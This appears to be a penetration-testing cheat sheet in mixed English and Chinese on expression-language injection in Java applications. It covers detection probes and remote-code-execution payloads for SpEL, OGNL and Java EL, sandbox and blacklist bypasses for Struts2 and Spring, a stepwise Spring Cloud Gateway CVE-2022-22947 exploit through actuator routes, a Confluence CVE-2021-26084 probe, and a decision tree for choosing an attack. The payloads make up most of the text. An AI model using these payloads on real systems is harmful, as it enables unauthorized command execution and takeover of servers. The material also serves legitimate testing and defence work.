Key distinction: SSTI targets template rendering engines; EL injection targets embedded in Java frameworksexpression evaluators。
1. Detection — multi-syntax probing
${7*7} → 49 = SpEL、OGNL 或 Java EL
#{7*7} → 49 = SpEL(替代语法)或 JSF EL
%{7*7} → 49 = OGNL(Struts2)
${T(java.lang.Math).random()} → 随机浮点数 = SpEL 确认
%{#context} → 对象 dump = OGNL 确认
Differentiate engines
${7*7} response |
%{7*7} response |
engine |
|---|---|---|
| 49 | as-is %{7*7} |
SpEL or Java EL |
as-is ${7*7} |
49 | OGNL(Struts2) |
| 49 | 49 | both may exist simultaneously |
2. SpEL(Spring Expression Language)
Occurrence locations
@Value("${...}")annotation- Spring Security expressions (
@PreAuthorize) - Spring Cloud Gateway route predicates and filters
- Thymeleaf
th:text="${...}"(when combined with__${...}__during preprocessing) - Spring Data
@QuerySpEL in
RCE — Runtime.exec
${T(java.lang.Runtime).getRuntime().exec("id")}
RCE — with output echo (Commons IO)
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}
RCE — with output echo (Spring StreamUtils)
#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}
ProcessBuilder (when Runtime is blocked)
${new java.lang.ProcessBuilder(new String[]{"id"}).start()}
Spring Cloud Gateway — CVE-2022-22947
Add a malicious route containing a SpEL filter via actuator:
# 步骤 1: 添加路由(SpEL 在 filter 中)
POST /actuator/gateway/routes/hacktest
Content-Type: application/json
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
}
}],
"uri": "http://example.com",
"predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
}
# 步骤 2: 刷新路由
POST /actuator/gateway/refresh
# 步骤 3: 触发路由
GET /hackpath
# 响应头 "Result" 包含命令输出
# 步骤 4: 清理
DELETE /actuator/gateway/routes/hacktest
POST /actuator/gateway/refresh
SpEL sandbox bypass
When using SimpleEvaluationContext(restricts the T() operator):
${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}
3. OGNL(Object-Graph Navigation Language)
Occurrence locations
- Apache Struts2 — primary OGNL consumer
- Confluence Server — some request paths use OGNL
- Any Java application using
ognl.Ognl.getValue()/ognl.Ognl.setValue()Java application
Basic RCE
%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}
Struts2 sandbox bypass — _memberAccess manipulation
Struts2 restricts OGNL via SecurityMemberAccess . Classic bypass:
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
OgnlUtil blacklist clearing
Newer Struts2 versions use class/package blacklists, bypassed by clearing excludedClasses and excludedPackageNames :
%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#rt=@java.lang.Runtime@getRuntime().exec(#cmd))}
Struts2 key CVEs
| CVE | Vector | Payload location |
|---|---|---|
| S2-045(CVE-2017-5638) | Content-Type header | OGNL in Content-Type %{...} |
| S2-046(CVE-2017-5638) | Multipart filename | OGNL in upload filename |
| S2-016(CVE-2013-2251) | redirect:/redirectAction: prefix |
URL parameter |
| S2-048(CVE-2017-9791) | Struts Showcase | OGNL in ActionMessage |
| S2-057(CVE-2018-11776) | Namespace OGNL | URL path |
Confluence OGNL — CVE-2021-26084
Confluence Server allows OGNL injection via queryString or action parameters:
POST /pages/createpage-entervariables.action
Content-Type: application/x-www-form-urlencoded
queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027
# URL 解码: \u0027+{3*3}+\u0027
# 如果响应包含 9 → 确认存在 OGNL 注入
# 升级到 Runtime.exec 实现 RCE
4. Java EL(JSP / JSF)
Occurrence locations
- JSP pages:
${expression}and#{expression} - JSF (JavaServer Faces): value and method bindings
- Custom tag libraries
RCE Payload
// Java EL + Runtime:
${Runtime.getRuntime().exec("id")}
// 通过 pageContext(JSP):
${pageContext.request.getServletContext().getClassLoader()}
// 反射方式:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
5. Decision tree
输入反射且 ${7*7} 返回 49?
├── Java 应用?
│ ├── Struts2?→ 尝试 %{...} OGNL payload
│ │ └── 检查 Content-Type 注入(S2-045)
│ ├── Spring?→ 尝试 T(java.lang.Runtime) SpEL
│ │ └── 检查 /actuator/gateway(Spring Cloud Gateway)
│ ├── Confluence?→ 尝试 OGNL via action 参数
│ └── JSP/JSF?→ 尝试 Java EL payload
│
├── 错误信息暴露框架?
│ ├── "ognl.OgnlException" → OGNL
│ ├── "SpelEvaluationException" → SpEL
│ └── "javax.el.ELException" → Java EL
│
└── 被沙箱阻止?
├── OGNL: 清除 _memberAccess / excludedClasses
├── SpEL: 反射绕过 SimpleEvaluationContext
└── 尝试替代执行方式(ProcessBuilder, ScriptEngine)
6. Quick reference
# SpEL RCE:
${T(java.lang.Runtime).getRuntime().exec("id")}
# OGNL RCE (Struts2):
%{(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}
# OGNL + 沙箱绕过:
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}
# Java EL RCE:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
# Confluence CVE-2021-26084 探测:
queryString=\u0027%2b{3*3}%2b\u0027
# Spring Cloud Gateway CVE-2022-22947:
POST /actuator/gateway/routes/x → SpEL in filter args
POST /actuator/gateway/refresh
In-depth reference
- EL/SpEL/OGNL RCE payloads and sandbox bypasses → references/el-exploitation.md